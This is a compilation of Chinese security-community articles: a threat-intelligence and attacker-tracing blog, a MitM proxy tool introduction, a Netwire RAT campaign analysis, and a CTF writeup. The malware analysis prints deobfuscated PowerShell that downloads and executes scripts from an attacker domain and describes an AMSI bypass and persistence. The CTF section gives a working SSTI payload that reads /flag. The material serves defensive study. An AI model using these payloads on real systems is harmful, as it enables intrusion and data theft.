这里的网络流量指的不是内网的流量数据，而是从大网上采集的数据，比如说下面这张图，这张图就是我前两天在做攻击溯源的时候在[SANS
Dshield](http://dshield.org)上查到的53（DNS服务）端口的流量图，当然最后在我调查的时候发现这台机器实际上是一个Windows
Server跑了个ISCBIND9服务，然后服务器有弱密码被人给入侵。
可以看到这台服务器的53号端口再9月14号的时候存在一个比较大的流量波动，这两天消停多了（不该问的别问），同时我们发现了SANS还将该IP标记为ADM
Worm（别太相信这些，后期我的企业安全建设专栏会放蜜罐及养马场的建设）
#### 事件分类（Incident Pulse）情报：
这类情报可以算是目前比较高级的威胁情报了（不能说高级，这样的话就有点太狂了，中等高级吧），这类威胁情报是把一些威胁情报的基础数据进行打包，同时封装成一个个的事件，也就是Incident
Pulse，个人认为封装成Incident
Pulse的好处在于可以更快的发现事件（事件驱动的CIRT将会成为趋势，CERT可能会被CIRT取代，毕竟Emergency一定是Incident，而Incident就不一定Emergency了），另一个好处可能是出于商业目的——更好地Subscription然后收取订阅费。这两个目前做的比较好的是新版的微步在线、国外的Alienvault
OTX、IBM X-Force
Exchange，同时订阅服务做的也很到位。之前6月Petya预警的时候我提前了好久就知道样本的md5然后从vt上扒下来开始。。。（也就半个小时吧）。下面就是IBM
X-Force Exchange对于某事件的相关资产情报。
#### 蜜罐数据：
这个数据就有点意思了，不同于前面的数据，这个数据你可以去使用前面TI平台提供的，当然也可以选择你自己去设计。蜜罐这个东西其实就是让攻击者上当，这个也就是蜜罐的核心。蜜罐的作用其实有很多，除了收集攻击者使用的各种基础设施之外，更重要的时候可以收集攻击者的行为、进攻路径、产生的数据和攻击目的等等，这些对我们研究黑产和正（bai）规（mao）军（zi）的行（zi）为（shi）是非常有意义的。之前我的蜜罐就被人撸过，当时ssh蜜罐完整的记录下来这个人的行为，最后追回去的时候发现这个人是个白帽子。由于姿势太骚，可以看点不骚的操作，如下图所示（我做测试的）。
#### 被动流量解析数据：
也就是大家说的PDNS（Passsive DNS的缩写），数据，这类数据其实就是去被动的解析域名，然后把解析的结果记录下来，比如Passive
DNS，这类数据可以帮我们去识别出来一些攻击者的历史信息，比如说这个域名开始时候谁注册的什么乱七八糟的。上个图吧，比如说百度的PDNS数据。
以上这些就是一些威胁情报的分类，当然要根据情况去使用对应的威胁情报数据可以说是必须的。
上面提到的威胁情报数据并不能帮助甲方来预测攻击，但凡听到销售或者售前说威胁情报可以预测攻击这事儿千万不能信。那么有的人可能就会问了，威胁情报不能预测攻击我拿来干什么。接下来再说事件分析之前，我们先来说一下威胁情报在安全运营体系当中的定位。
威胁情报在安全运营体系中的定位是——辅助发现潜在的或正在发起的恶意行为或操作，重点在于辅助两个字，威胁情报严格意义上来说只能有限的感知潜在的威胁，换句话说：如果有人现在瞄准的目标全部都是能源类客户，那么威胁情报就可以提醒没有被攻击的客户可能会遭受到该攻击者的攻击，这个叫做有限的感知潜在的威胁。
回归正题，威胁情报既然是个辅助手段，那么肯定有一个主要手段，这个主要的手段其实就是针对事件的分析，接下来主要说的是两个分析使用的模型——钻石模型和Kill-Chain模型，这两个模型在分析的时候往往需要结合起来使用，尤其是比较大型的针对性的攻击诸如APT攻击。
### 0x01 Kill-Chain模型：
Kill-Chain模型实际上是一个造飞机的公司提出来的，就是造猛禽的那个公司（Lockheed
Martin）。背景什么的我就不再说了，首先先来具体看一下这个模型。
Kill-Chain模型分为7个部分，侦查阶段（Reconnaissance）、武器化阶段（Weaponization）、部署阶段（Delivery）、攻击阶段（Exploitation）、后门植入阶段（Installation）、远程控制阶段（C&C）、后渗透阶段（Actives
on Objects），也就是下面这个样子：
每个阶段表示的意思其实根据名字就差不多了解了：
>侦查阶段：扫描目标IT资产和信息收集，比如说Google Hacking这些侦查类型的攻击
武器化阶段：将前一阶段发现和扫描到漏洞的信息整合到一起并制作针对性的武器（当然国内的嘛，你懂得）
部署阶段：将这些武器或者是远控RAT部署到对应的Compromised Servers上
攻击阶段：使用这些Compromised Servers和之前做好的武器化工具对目标发起攻击
后门种植阶段：安装远程控制的服务和进程
远控阶段：让目标和C&C通信
后渗透阶段：收割、继续横向渗透入侵
其实Kill-Chain描述的是一个完整的供给链条，有点类似于PTES那个流程，就是下图（源自之前做废的ppt）：
### 0x02 钻石模型分析：
之前说过了一次完整的攻击行为的参考就是上面说到的Kill-Chain，也就是用来描述的攻击者攻击的路线和进行的进度。但是Kill-Chain只能说明攻击的进程和路线，并不能很好地说明造成的影响和目的，钻石模型就很好的针对性的补充了这点。
钻石模型是一个针对单个事件分析的模型，核心就是用来描述攻击者的技战术和目的，具体的钻石模型如下图所示：
这个模型其实就是钻石模型，之前在DEFCON
GROUP会议上由于时间等其他原因没有给大家说清楚这个怎么回事。直接看图上，右边其实就是一个钻石分析模型，钻石模型由三部分组成：置信度、元数据、社会-政治影响和技战术组合，我们一个一个来说：
**社会政治影响：**
处于钻石模型上下两个顶点，上顶点表示攻击者，下顶点表示受害者也就是目标。攻击者和受害者之间的某种利益冲突或者是社会地位对立则会产生攻击的意图和发起攻击的原因，纵切面表示的就是社会政治影响。说大白话就是根据这俩人去发现攻击的意图。
**技战术组合：**
技战术组合位于整个钻石模型的横切面，横切面的两个顶点分别为基础设施和技术能力，这里的基础设施和技术能力其实都是相对于攻击者而言的。
**元数据：**
这个其实就是左边列出来的，攻击时间、攻击阶段、攻击结果、攻击方向、攻击手段、攻击资源利用。
**置信度：**
也就是以上你分析出结果的可信程度。
钻石模型想要表达的其实就是针对单个安全事件，我们可以得到攻击者为什么想要攻击目标，打算用什么手段去攻击目标。
这里要提醒一点，但凡基于威胁情报做分析的时候一定要牢记以下4点：
>1\. 威胁情报分析出来的结果一般不能作为电子证据确定嫌疑人有计算机犯罪行为
>2\. 威胁情报分析结果须带有严格的置信度
>3\. 威胁情报数据由于技术原因限制不可以做到实时性
>4\. 要在相关机构的监管下进行分析
举个简单的例子来说，我们现在收到了一封附件带有远控木马的钓鱼邮件，并且有人打开了附件，结果机器被远控。这么一个事件用钻石模型分析就如下图表示（源自做废了的ppt）。
这样的话就可以化解为一下步骤：
>1\. 受害者发现PC、服务器出了问题，感染了恶意的软件或者病毒样本
>2\. 逆向分析恶意的软件，发现了该软件包含了恶意的域名
>3\. 通过PNDS数据发现C&C域名解析到恶意的Ip地址
>4\. 通过相关的日志分析判断攻击者曾与C&C接触过
>5\. 通过IP地址查阅相关的威胁情报数据来获得攻击者的更多细节
### 0x03 Kill-Chain与钻石模型的组合分析：
钻石模型的特点是：可以说明攻击者在单个事件中的攻击目的和所使用的技战术
Kill-Chain模型的特点是：可以说明攻击线路和攻击的进程。
复杂的攻击往往都是有一系列的攻击事件组成的，不同的攻击事件指向的目标和达到的目的可以表示出攻击的进程，那么OK，我们如果把事件按照Kill-Chain进行分类同时使用泳道图进行表示，同时把不同的攻击路线分为不同的攻击线程，那么我们就可以得到一个这样的泳道图。
其实这张图描述的是这么一个事件：
>1.攻击者先对目标进行了Google Hacking操作，获得了他们域名解析记录等一些基础的It信息
>2.攻击者找到了一个目标新注册的域名，然后用搜索引擎搜索他们的网络管理员的电子邮件信息
>3.攻击者使用鱼叉邮件方式对目标的网络管理员发送一封带有木马的邮件
>4.目标的网管（我们叫他网管一号）打开了这封邮件的附件然后不幸中枪
>5.网管一号的主机因为中了病毒，所以攻击者利用网管一号这台主机发送了一个HTTP Post请求到域控节点，然后域控节点返回了一个HTTP Response
>6.我们通过对鱼叉邮件中附件进行逆向分析发现里面有两个IP地址，第二个IP地址作为备份，防止第一个失效
>7.通过C&C请求到网管一号的主机，我们的恶意程序打开了一个TCP代理服务
>8.通过网管一号主机上的代理服务，攻击者继续去Google上搜索其他的目标
>9.攻击者检查网管一号邮件的通信录列表去寻找是否拥有目标二号的通讯方式，结果发现了目标二号的首席科学家的联系方式
>10.攻击者使用攻陷的网管一号的邮箱对目标二号的首席科学家的邮箱发起鱼叉邮件攻击，工具使用和之前一样的
>11.此时又来了一个攻击者，我们称他为攻击者二号，攻击者一号扫描了目标三号的web服务器
>12.使用同样的漏洞利用工具攻击发现目标三号主机上的相同的漏洞
>13.被攻陷的目标三号主机返回一个shell会话给攻击者三号
>14.目标三号的所有数据被攻击者三号窃取
这样的话使用Kill-Chain和钻石模型分析可以同时get到攻击者的点和想要攻击的目标，同时还知道了他的攻击路径，也就是说这时候我们对攻击者了如指掌了。
### 0x04 基于Kill-Chain的安全防护矩阵：
其实按照Kill-Chain，我们完全可以设计一个基于Kill-Chain的安全防护矩阵，如下图所示：
当然啦，这个仅供参考，=-=。
前面我们说了威胁情报的分类和高级威胁分析方法，接下来我们就来说说如何李用威胁情报来调查攻击者。（由于某些众所周知的原因，里面有些数据我就不提了，怕被查水表）
经过前面两部分，我们现在可以得出来攻击者的一些基础设施信息了，所以我们遇到的事件是这个样子的：
我利用一些比较久的数据来做一下sample，现在填充一些数据，于是乎就变成了这个样子：
以上是通过之前对于整个事件的分析我们可以确定的几点，首先从我们针对整个事件分析的结果来看，我们可以得出来几个很明显的数据点：
>从IP的地理位置来看，攻击者很有可能在境外
>从攻击者使用的基础设施及域名解析来判断的话，资产很有可能是是被其攻击利用的
>攻击常用的手段是扫描、SQL注入、暴力破解
>攻击者攻击的目标是我方的IDC服务器
OK分析到这里我们可以对攻击者有个大概的了解：
>攻击者攻击手段大多都是以探测性质的为主，并没有真正攻击成功。
>我们可以使用IDS和WAF来阻断攻击者对我们的攻击
>攻击者太菜
其实绝大多数我们碰到的案例都是这样的，但是领导往往会追问：能查出来这是谁搞的么？
### 0x05 利用威胁情报分析该攻击者：
我们使用威胁情报来调查一下这个攻击者，首先我们从IP和域名入手来分析他的基础设施。通过威胁情报平台来查询这个IP，我们在主流的情报平台上来查询，结果如下。
恩，看上去被标记的地方挺多的，这个时候我们可以认为这个IP是一个恶意的IP（这说的不是废话么！！！），其实这个时候我们分析完基础设施之后应该去看一下这个服务器的大网流量。
这个趋势还可以，不是那么猖狂，峰值差不多10K左右吧，其实Dshield这个数据可以看到套接字信息，这里我就不贴了，我们发现一组套接字数据有点意思：
23.xx.xx.58:80 -> 58.xx.xx.163:4120
这个后面这个IP不停地在访问前面这个IP，而且频率之高，于是我们对这个IP进行了调查，由于前面图贴的挺多的了，我们就贴少点。
呦，厉害了，还有撞库，我们来看一下这个IP到底什么来头，通过开放的DDoSMon可以看到这个IP发起了一些DDoS攻击（打马赛克的IP是被攻击IP，感谢@杨絮）
我们再来看一下这个IP到底在哪儿？
恩，现在基本上清楚了。但是呢，个人还是觉得这个存在一个概率问题，所以结果仅供参考。其实最后溯源出来的完整内容如图所示：
就先写这么多吧，其实我这里没有对这个IP的真实身份进行调查，因为这个是无意义的，因为前面说过，这个攻击者造成的影响其实我们的安全防御体系可以完全抵挡，我们完全没有必要去查到这个人是谁，但是由于要满足领导的好奇心，所以才会去对攻击者进行一个挖掘，最后祝大家多抓黑客，但是一定要在受监管的条件下进行。此篇完结。
相关的PPT：[https://www.slideshare.net/JeremyLi10/application-of-threat-intelligence-in-security-operation?utm_source=slideview&utm_medium=ssemail&utm_campaign=first_clip](http://link.zhihu.com/?target=https%3A//www.slideshare.net/JeremyLi10/application-of-threat-intelligence-in-security-operation%3Futm_source%3Dslideview%26utm_medium%3Dssemail%26utm_campaign%3Dfirst_clip) | 社区文章 |
# MitM-VM和Trudy：一款简单的TCP劫持代理工具集
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.praetorian.com/blog/trudy-a-dead-simple-tcp-intercepting-proxy-mitm-vm>
译文仅供参考，具体内容表达以及含义原文为准。
中间人攻击(MitM)指的是,通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。在安全评估中,MitM模式能够给安全审计人员提供非常大的帮助。
不幸的是,在某些情况下,想要利用MitM模式来进行安全检测是十分困难的。现在有一些代理从某种程度上来说是可以解决这些问题的,但是这些代理似乎又存在各种各样的问题和漏洞,导致这些工具无法正常的使用。[MitM-VM](https://github.com/praetorian-inc/mitm-vm)和[Trudy](https://github.com/praetorian-inc/trudy)是一套能够在功能上互补的工具集,这套工具集能够解决目前各个代理中所存在的问题。这套工具的安装过程非常的简单,而且功能也非常的强大,它们能够给安全审计人员提供行之有效的解决方案。
为什么要开发这样的一套工具呢?通常情况下,如果需要对嵌入式设备与服务器之间正在使用的自定义二进制协议进行修改,其处理过程是非常麻烦的。因为这不仅会涉及到嗅探合法的通信数据,而且还需要开发人员重新编程来对数据包进行封装。Trudy可以让这一切变得更加的简单和快捷,因为Trudy能够像Burp
Suite一样来对TCP通信数据进行解析。
**MitM-VM**
MitM-VM是一款[Vagrant](https://www.vagrantup.com/)虚拟机,它可以给我们提供透明代理服务。在此我需要给大家介绍一下Vagrant,Vagrant是一个基于Ruby的工具,用于创建和部署虚拟化开发环境。它使用Oracle的开源VirtualBox虚拟化系统,使用Chef创建自动化虚拟环境。这款虚拟机的安装十分简单,而且在经过了适当的配置之后,它可以处理大多数情况下的代理问题。我给大家举一个简单的例子:在我接触到MitM-VM之前,我习惯使用配置了[tcpdump](http://www.tcpdump.org/)(或者类似软件)的虚拟路由器([OpenWRT](https://openwrt.org/))来对目标设备的通信数据进行监视和分析。在大多数情况下,我都能够完成这部分的操作。但是我在操作过程中也面临着两个主要的问题:首先,与我的笔记本电脑相比,我所使用的路由器硬件性能比较差;其次,我将需要管理两部分硬件设备。在对MitM-VM进行了适当的设置之后,它可以作为一个多硬件的集合来供我使用,而且它也能提供同样的功能。除了硬件数量的减少,更加重要的是,在使用了MitM-VM之后,我将能够使用Debian系统来处理我的通信数据了。(我需要注明的是,我仍然非常喜欢OpenWRT!)
当然了,MitM-VM也安装并配置了其他的一些实用工具,这些工具也能够帮助我们监视或修改通信数据。MitM-VM的使用文档均对这些工具进行了详细介绍,感兴趣的朋友可以阅读使用文档来获取更多的信息。
**Trudy**
Trudy采用Go语言进行开发,它可以配合MitM-VM使用。Trudy是一款透明代理,它适用于所有的TCP通信连接,并且允许开发人员对TCP数据包进行手动编程或修改。Trudy的安装过程非常的简单,而且配置选项也十分精简,它能够适用于绝大多数的特殊情况。
它能够为其所代理的每一条通信链接创建一个双向“管道(pipe)”。你所需要设置代理的设备会与Trudy(但是Trudy不会察觉连接的建立)建立连接,而Trudy会与客户端的目的地址(即服务器)进行连接。这样一来,通信数据就会在这个双向管道中进行传输了。用户可以自己创建相应的Go函数来管理和修改管道中的通信数据。
在为TLS连接设置代理时,Trudy会使用合法证书来架设一个TLS服务器。很明显,你肯定会需要使用这个证书,否则客户端是无法通过认证的。
Trudy的功能就是监视和修使用了非HTTP协议的未知代理设备。如果你想要截取或修改HTTP(S)通信数据,[Burp
Suite](https://portswigger.net/burp/)可能是你更好的选择。
**实践出真知**
我们Praetorian的技术人员准备对一款联网的家庭智能设备进行一次安全评估。这款设备在其与网络进行通信的TCP协议上又使用了一层自定义的二进制协议,这也带来了很多安全问题。值得一提的是,该协议头部的信息中包含数据包的长度信息,而且也没有对数据包头进行验证。设备不会对数据包的长度进行检测,而且会在设备对数据包进行正常处理时使用到这个值。介于设备之间的一个活跃中间人可以利用这个漏洞来造成目标设备的缓冲区溢出。在此,我们需要去修改非HTTP协议的通信数据,但修改之后Burp就无法正常工作了。除此之外,我们还要修改数据包中的一些其他信息,但是这将导致netsed无法正常工作。最后,我们还希望最大程度地减少我们在安装和配置过程中所花费的时间,不出所料,[Mallory](https://github.com/intrepidusgroup/mallory)和[Squid](http://wiki.squid-cache.org/Features/SslBump)都无法运行了。但是正如我们所说的,MitM-VM加上Trudy,这些问题都迎刃而解了。
**赶紧动手吧!**
如果你对[MitM-VM](mailto:https://github.com/praetorian-inc/mitm-vm)和[Trudy](https://github.com/praetorian-inc/trudy)感兴趣的话,请移步至相应的Github页面来了解更多有关的信息,Github代码库给大家提供了相应的README文档。在这篇文章中,我已经给大家介绍了有关这两个项目的相关信息,如果大家还有什么不明白的地方,或者说在安装过程中遇到了困难,都可以在Github中留言和提问。除此之外,也欢迎大家直接通过电子邮件来与我进行交流:[mailto:kelby.ludwig@praetorian.com](mailto:kelby.ludwig@praetorian.com) | 社区文章 |
**原文链接：[New Cyber Operation Targets Italy: Digging Into the Netwire Attack
Chain](https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/ "New Cyber Operation Targets Italy:
Digging Into the Netwire Attack Chain")**
**译者：知道创宇404实验室翻译组**
### 介绍
信息窃取软件是常见的恶意软件之一。 如：多平台远程管理工具（RAT)Netwire (MITRE
S0198)从2012年开始被网络犯罪组织不断使用。在我们进行网络监测期间，发现了一个特定的Office文档，该文档通过安装恶意软件插件，来对意大利人民发起隐藏性的网络攻击活动，这种攻击活动的特定供给链采取了独特的技术模式，类似于[这种](https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/
"这种")，本文将对此进行深入分析。
### 技术分析
此活动中使用的变体与NetWire恶意软件家族的其他示例类似，但攻击链有所不同。下图显示了此活动中使用的NetWire攻击链：
### 释放器
这个NetWire攻击活动是伪装成一个恶意电子邮件附件进行发送的，其中嵌入了XML宏。下面是释放器的静态信息:
Excel 文档一旦打开便会有一些动态元素显示（但是没有可以点击的按钮），接着就会有安全窗口弹出并告知宏在文档中已经被禁用。
文档中包含的宏非常小，不包含无效代码或其他反分析技术，下图是随机查找的部分变量命名。
VBS宏代码段与“cloudservices-archive.]best”
域相联系，而且隐藏在图片文件的有效负载中，该有效负载既不是图片也不是可执行文件，它是一个XSL样式的表格，该表格中还包含能加载另一个ActiveX对象的Javascript。
这个powershell命令的模糊处理很容易解码，结果如下:
'（＆'+'（G'+'C'+'^＃^'。replace（'^＃^'，'M'）+'* W-'+'O *）'+'Ne'+' t。'+'W'+'eb'+'C'+'li'+'ent）'+'。D'+'ow'+'nl'+'oa'+'d'+'F'+ 'il'+'e（''http://cloudservices-archive.best/fiber.vbs'',$env:APPDATA+''\.vbs''）'| I`E`X; start-process（$ env：APPDATA +'\ .vbs'）
此时，恶意软件试图从前一个位置下载附加的“fiber.vbs”文件，这个代码片段通过几个嵌套替换隐藏了powershell的调用。
实际上这次代码非常模糊，其中包含了很多字符串操作子例程，但是，一旦结果字符串被重构，上面提到的powershell引用就变得更加清晰。
要执行的完整powershell命令如下：
“” Powershell -ExecutionPolicy绕过$ c145 = -Join（（111，105，130）| ForEach-Object {（[[Convert] :: ToInt16（（[[String] $ _），8）-As [Char]）}））; sal oE2 $ c145; $ qcCBgFfvdOauid = @（36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,32,77 ，32,36,84,98,111,110,101,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,111,103,111,109,109,109,109,109,109,109,109,109,110,109,109,109,110,109,110,109,109,111,109,111,109,117,109,111,109,109,109,109,109,109,109,110,103,111,103,111 ，45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,112,50,50,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91 ，83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,101,101,101,109,46,101,101,101,101,101,101,109,46,83,101,99,83 ，80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,112,50,50,50,59,36,109，118,61,39,40,38,39,43,39,40,71,39,43,39,67,39,43,39,36,36,36,39,46,114,101,112,108,97,99,101,40， 39,36,36,36,39,44,39,77,39,41,43,39,32,42,87,45,39,43,39,79,42,41,39,43,32， 39,78,101,39,43,39,116,46,39,43,39,87,39,43,39,101,98,39,43,39,67,39,43,39,108,105,39,43,39,101,110,116,41， 39,43,39,46,68,39,43,39,111,119,39,43,39,110,108,39,43,39,111,97,39,43,39,100,39,43,39,83,39,43,39,116,114， 39,43,39,105,110,103,40,39,39,104,116,116,112,58,47,47,99,108,111,117,100,115,101,114,118,105,99,101,115,45,97,114,99,104,105,118,101,46,98,101,115,116,47,105,109,124,39,39,103,39,39,39,39,104,39,39,104,116,39,100 73,96,69,96,88,59,36,97,115,99,105,105,67,104,97,114,115,61,32,36,109,118,32,45,115,112,108,105,116,32,39,45,39,32,124,70,111,114,69,97,99,104， 45,79,98,106,101,99,116,32,123,91,99,104,97,114,93,91,98,121,116,101,93,34,48,120,36,95,34,125,59,36,97,115,99,105,105，83,116,114,105,110,103,61,32,36,97,115,99,105,105,67,104,97,114,115,32,45,106,111,105,110,32,39,39,124,77））[char []] $ qcCBgFfvdOauid -join” | o`E`2“
实际上，它包含另一个Powershell阶段，其旨在了解执行环境并触发另一个阶段的执行：
$ Tbone ='* EX'.replace（'*'，'I'）; sal M $ Tbone;执行{$ ping = test-connection -comp google.com -count 1 -Quiet}直到（$ ping）; $ p22 = [枚举] :: ToObject（[System.Net.SecurityProtocolType]，3072）; [System.Net.ServicePointManager] :: SecurityProtocol = $ p22; $ mv ='（＆'+'（G'+'C' +'$$$'。replace（'$$$'，'M'）+'* W-'+'O *）'+'Ne'+'t。'+'W'+'eb'+' C'+'li'+'ent）'+'。D'+'ow'+'nl'+'oa'+'d'+'S'+'tr'+'ing（''http：// cloudservices-archive.best/image01.jpg'')'|I`E`X;$asciiChars= $ mv -split'-'| ForEach-Object {[char] [byte]“ 0x $ _”} ;; $ asciiString = $ asciiChars -join''| M
在这种情况下，恶意软件会从上一阶段的同一域下载“image01.jpg”文件。若下载成功，恶意软件会从下载的文件中读取原始字节，并将其转换为可以执行Powershell代码的位置。同时两个动态链接库也会被解压并加载到内存中：一个用于AMSI，其他的是最终的有效负载。
函数BIFOwcVW {[CmdletBinding（）]参数（[byte []] $ zFtQd）进程{$ wPqD =新对象'Syste ###### moryStream'.Replace（'#####'，'m.IO .Me'）（，$ zFtQd）$ ceqjTnon =新对象'Syste ###### moryStream'.Replace（'#####'，'m.IO.Me'）$ SLpCW =新对象' System.I @ @@@@@@@@@@@ pStream'.Replace（'@@@@@@@@@@@@'，'O.Compression.Gzi'）$ wPqD，（[IO.Compression.CompressionMode] ::解压缩）
$ bWWEdq =新对象字节[]（1024）while（$ true）{$ pvts = $ SLpCW.Read（$ bWWEdq，0，1024）if（$ pvts -le 0）{break} $ ceqjTnon.Write （$ bWWEdq，0，$ pvts）} [byte []] $ CkJ = $ ceqjTnon.ToArray（）写输出$ CkJ}}
$ t0 = -Join（（（111，105，130）| ForEach-Object {（ [Convert] :: ToInt16（（[[String] $ _），8）-As [Char]）}）; sal g $ t0;[Byte []] $ MNB =（' OBFUSCATED_PAYLOAD_1'.replace（'9 ^'，'0x'））| G;
[Byte []] $ blindB =（' OBFUSCATED_PAYLOAD_2'.replace（'9 ^'，'0x'））| g
[byte []] $ BQreEc = BIFOwcVW $ blindB [byte []] $ qcsScMu = BIFOwcVW $ MNB
$ y ='[System.AppDomain]'| g; $ g55 = $ y.GetMethod（“ get_CurrentDomain”）$ uy = $ g55.Invoke（$ null，$ null）$ vmc ='$ uy.Lo％$（$ BQreEc）'。Replace（'％$'，'ad'）$ vmc | g [oioioi] :: fdsfdf（） $ vmc2 ='$ uy.Lo％$（$ qcsScMu）'。Replace（'％$'，'ad'）$ vmc2 | g [Byte []] $ MNB2 =（' OBFUSCATED_PAYLOAD_3'.replace（'9 ^'，'0x'））| g [JAM.CASTLE] :: CRASH（'notepad.exe'，$ MNB2）
该脚本还配置了一种持久机制，将其自身复制到目录“％APPDATA％\Local\Microsoft”内，并在“HKCU\Software\Microsoft\Windows\CurrentVersion\Run”上设置注册表项。
### 黑客工具1：修补AmsiScanBuffer
以前的Powershell片段中嵌入的两个DLL中的第一个实际上是用作绕过Microsoft的AntiMalware扫描接口AMSI的工具。特别是在加载后，此DLL在感染链中运行的方法是“[oioioi]::fdsfdf()”。
上图显示了该技巧的完成方式：从“Assembly
Title”字段检索两个组件“amsi.dll”和“AmsiScanBufer”，将目标方法引用到补丁以避免在运行时检测有效负载。
### 黑客工具2：释放器
实际上，第二个 DLL 并不是最终的有效负载，而是另一种工具即进程注入工具，主要用来隐藏植入到其他进程中的恶意软件。
如代码所示，变量 $MNB 在“CASTLE”类中作为调用静态方法“CRASH”的参数传递，而另一个参数主要进行目标进程注入。这个.Net
编译的可执行文件包含许多对攻击者使用的注入方法的引用。部分如下:
### 有效载荷
最终有效负载存储在最后一个powershell阶段捕获的$ MNB2变量中。
在分析二进制结构时，我们恢复了已配置命令和控制服务器的硬编码IP地址: 185.140.53.] 48.
该地址被滥用，Netwire可执行文件使用自解密例程运行其木马模块，并它分配一个新的内存区域，然后进行代码解密，结果如下图所示：
解密后，恶意软件会将其漫游器信息保存到注册表项“HKCU\Software\Netwire”中。此时，很容易发现Netwire
RAT变体的恶意功能。综上所述，Netwire RAT使其操作员能够从受害者机器获取敏感信息，例如：
* 窃取Outlook凭据；
* 窃取Internet Explorer浏览器历史记录；
* 窃取Chrome浏览器历史记录；
* 窃取Mozilla浏览器历史记录；
* 记录键盘敲击次数。
接着把通过该恶意软件获取的所有敏感数据发送到攻击者的命令和控制服务器，该行为可能会导致网络欺诈事件发生。
### 相似之处
在此分析中，我们描述了一个旨在诱骗意大利受害者的网络攻击行为，该网络攻击者通过传递一些所谓的“commodity
malware”来避免被检测。但是，这种攻击形式并不新鲜。尤其是在处理Powershell阶段时，我们注意到一些变量和名称结构与我们看到的关于[Aggah运动](https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/)的最新报告非常相似。
尽管有变量名，但有效载荷的解码功能是相同的，而且，“$MNB”和“blindB”变量也已保存。
这可能也意味着这些技术在某种程度上已经被造成此次意大利事件的黑客们使用，或者说Aggah攻击者们在寻找不同的攻击链。
## 结论
在过去的几年里Netwire RAT获得了很多成功，攻击者们也利用它来感染受害者，甚至包括APT33（Refined Kitten）和Gorgon
Group这样的政府资助团体也将其纳入了他们的武器库，
这让我觉得即使是所谓的恶意商品软件也有着严重威胁，尤其是在面对经验丰富黑客们时，他们可以利用某些手段来逃避检测，而且会使用合并方式来加速网络攻击。
我们观察到的某些特定证据表明他们的攻击目标就是意大利，而且还与近期意大利制造业采取的某些行动具有相似之处，即使这些未经证实，也表明了它们可能存在某些持续行动。
## IoCs
**Hashes:**
ce7b8394cdc66149f91ed39ce6c047ee
4e4001c6c47d09009eb24ce636bf5906
4b8e4d05092389216f947e980ac8a7b9
ad066878659d1f2d0aee06546d3e500b ebe4a3f4ceb6d8f1a0485e3ce4333a7c
**Dropsite:**
cloudservices-archive.]best
**C2:**
185.]140.]53.]48
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=185.140.53.48
"ZoomEye搜索结果")）
**Bot Information Registry:**
HKCU\Software\NetWire
**Persistence:**
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fiber.vbs
## Yara Rules
rule NetwireCampaign_MacroDoc_Jun2020{
meta:
description = "Yara Rule for Netwire campaign macro document Jun2020"
author = "Cybaze Zlab_Yoroi"
last_updated = "2020-06-05"
tlp = "white"
SHA256 = "b7e95d0dcedd77ab717a33163af23ab2fd2dc6d07cdf81c5e4cfe080b0946b79"
category = "informational"
strings:
$a1 = {D9 CB 86 F2 BB BE 2F 61 57}
$a2 = {70 E0 C0 81 03 07 0E 1C}
$a3 = {4F 8B D2 E4 EF EE 50 9A 5C 2E}
condition:
all of them
}
rule NetwireCampaign_Payload_Jun2020{
meta:
description = "Yara Rule for Netwire campaign final payload Jun2020"
author = "Cybaze Zlab_Yoroi"
last_updated = "2020-06-05"
tlp = "white"
SHA256 = "cc419a1c36ed5bdae1d3cd35c4572766dc06ad5a447687f87e89da0bb5a42091"
category = "informational"
strings:
$a1 = {c7 04 ?4 ?? ?? ?? ?? e8 6f 2c 00 00 c7 04 ?4 ?? ?? ?? ?? e8 63 2c 00 00 8b 35}
$a2 = {89 84 ?4 b0 00 00 00 c7 84 ?4 a4 00 00 00 ?? ?? ?? ?? 66 c7 84 ?4 a8 00 00 00 00 00 e8 ?? ?? ?? ?? 83 ec 28 85 c0 75 27}
$a3 = { c7 44 ?4 0c ?? ?? ?? ?? c7 44 ?4 08 ?? ?? ?? ?? c7 04 ?4 ?? ?? ?? ?? 89 44 ?4 04 e8 39 1c 01 00 83 ec ?? }
condition:
uint16(0) == 0x5A4D and 2 of ($a*)
}
* * * | 社区文章 |
# 0RAYS-安洵杯writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**四川的比赛，Web好难，但是web手秒了pwn**
* * *
## Web
### Normal ssti
ban了很多，考虑8进制绕过
payload
{%print(a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\47\51\56\162\145\141\144\50\51"))%}
## Misc
### 签到
关注公众号，回复fl4g，得到
下载得到一个flag.docx，里面有一串emoji，解码得到flag
### 套娃
下载文件得到一个hardzip.zip，里面还有一些只有几KB的密码文件，显然是CRC爆破，每个txt里的字符串长度均为2：
import zlib
import string
import itertools
yuan = 0xd6bb1bef
print(string.printable)
for i in itertools.product(string.printable, repeat=2):
cc = ''.join(i)
if yuan == zlib.crc32(cc.encode('utf-8')):
print(cc)
exit()
爆破完得到：
最终压缩包密码即为：!qQIdEa@#!z)
